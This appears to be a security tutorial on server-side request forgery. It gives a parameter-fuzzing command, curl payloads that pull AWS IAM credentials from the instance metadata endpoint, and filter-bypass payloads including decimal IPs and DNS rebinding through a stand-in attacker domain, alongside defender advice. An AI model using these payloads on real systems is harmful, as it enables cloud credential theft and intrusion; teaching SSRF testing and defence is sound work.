In 2019, a Capital One engineer abused an SSRF vulnerability in a misconfigured WAF to pull AWS metadata credentials and exfiltrate over 100 million customer records. SSRF isn’t exotic — it’s hiding in upload forms, webhooks, PDF generators, and URL preview features right now. Here’s how to find it and what exploitation actually looks like.
What SSRF Is and Where to Hunt It
Server-Side Request Forgery (SSRF) happens when you trick a server into making HTTP requests on your behalf — to internal services, cloud metadata endpoints, or anything else the server can reach that you can’t. The server becomes your proxy.
Prime targets in any application: any parameter that accepts a URL. Look for url=, src=, fetch=, redirect=, image_url=, webhook=. Also check API endpoints that fetch remote resources, document converters, and import-from-URL features.
Start with ffuf (a fast web fuzzer) to brute-force parameters on a target endpoint and identify which ones trigger outbound requests. Point them at a server you control — Burp Collaborator, interactsh, or a simple netcat listener works fine.
# Fuzz for SSRF-vulnerable parameters on a target endpoint
ffuf -u "https://app.internalcorp.dev/api/fetch?FUZZ=http://192.0.2.99:8080" \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-fs 0 \
-t 50
# Output (trimmed):
# [Status: 200, Size: 1842, Words: 74, Lines: 31] url
# [Status: 200, Size: 1842, Words: 74, Lines: 31] source
# [Status: 200, Size: 1842, Words: 74, Lines: 31] image_url
# [Status: 200, Size: 0, Words: 0, Lines: 0 ] page
# [Status: 200, Size: 0, Words: 0, Lines: 0 ] redirect
The parameters returning Size: 1842 triggered an outbound HTTP request to 192.0.2.99:8080 and got a real response back — your listener received a hit. The zero-size responses either filtered the input or hit a dead end. Now you know exactly which parameters to target: url, source, and image_url.
Next step: pivot to something valuable.
Exploiting SSRF Against Cloud Metadata
The classic SSRF kill chain on AWS hits the Instance Metadata Service (IMdS) at 169.254.169.254. If the app runs on EC2 and hasn’t enforced IMDSv2, you can pull IAM credentials in one request. No tools required — just curl through the vulnerable parameter.
# Exploit the vulnerable 'url' parameter to reach AWS metadata service
curl -s "https://app.internalcorp.dev/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/"
# Response from server:
# app-ec2-prod-role
# Follow up to grab the actual credentials:
curl -s "https://app.internalcorp.dev/api/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/app-ec2-prod-role"
# Response:
# {
# "Code": "Success",
# "LastUpdated": "2026-09-27T04:12:00Z",
# "Type": "AWS-HMAC",
# "AccessKeyId": "ASIAIOSFODNN7EXAMPLE",
# "SecretAccessKey": "wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY",
# "Token": "AQoDYXdzEJr...(truncated)",
# "Expiration": "2026-09-27T10:41:00Z"
# }
You now have short-lived AWS credentials for the app-ec2-prod-role IAM role. An attacker loads these into their local AWS CLI and immediately runs aws iam list-attached-role-policies to see what the role can do — S3 access, Secrets Manager, RDS, Lambda invocation. The blast radius depends entirely on how permissive that role is.
From a defender’s perspective: this entire chain dies at the source if IMDSv2 is enforced. IMDSv2 requires a PUT request with a session token before any GET — a standard SSRF payload can’t complete that handshake.
Bypassing Basic SSRF Filters
Many apps block obvious inputs like 169.254.169.254 or localhost with string matching. These filters are almost always bypassable. Here are the techniques that still work against naive blocklists in 2026.
# Decimal IP representation (169.254.169.254 in decimal)
curl -s "https://app.internalcorp.dev/api/fetch?url=http://2852039166/latest/meta-data/"
# IPv6 representation
curl -s "https://app.internalcorp.dev/api/fetch?url=http://[::ffff:169.254.169.254]/latest/meta-data/"
# DNS rebinding via attacker-controlled domain
# rebind.internalcorp.dev resolves to 169.254.169.254
curl -s "https://app.internalcorp.dev/api/fetch?url=http://rebind.attacker.io/latest/meta-data/"
# URL parsing confusion (@ trick)
curl -s "https://app.internalcorp.dev/api/fetch?url=http://attacker.io@169.254.169.254/latest/meta-data/"
The decimal trick converts the dotted-quad IP to a single integer — most string-based filters never check for it. The DNS rebinding technique is nastier: your domain initially resolves to a public IP (passing the filter check), then resolves again at fetch time to the internal address. Defenders need allowlist-based validation — resolving the destination hostname server-side and checking it against an allowlist of safe CIDRs — not blocklist string matching.
What To Do Now
Open any web application you own or have authorization to test. Find every parameter that accepts a URL or fetches remote content. Point one at http://169.254.169.254/latest/meta-data/ and at a Burp Collaborator payload simultaneously. If either hits, you have a confirmed SSRF. Fix it by enforcing IMDSv2 on all cloud instances, resolving destination hostnames server-side before fetching, and blocking requests to RFC 1918 and link-local ranges at the network layer — not the application layer.
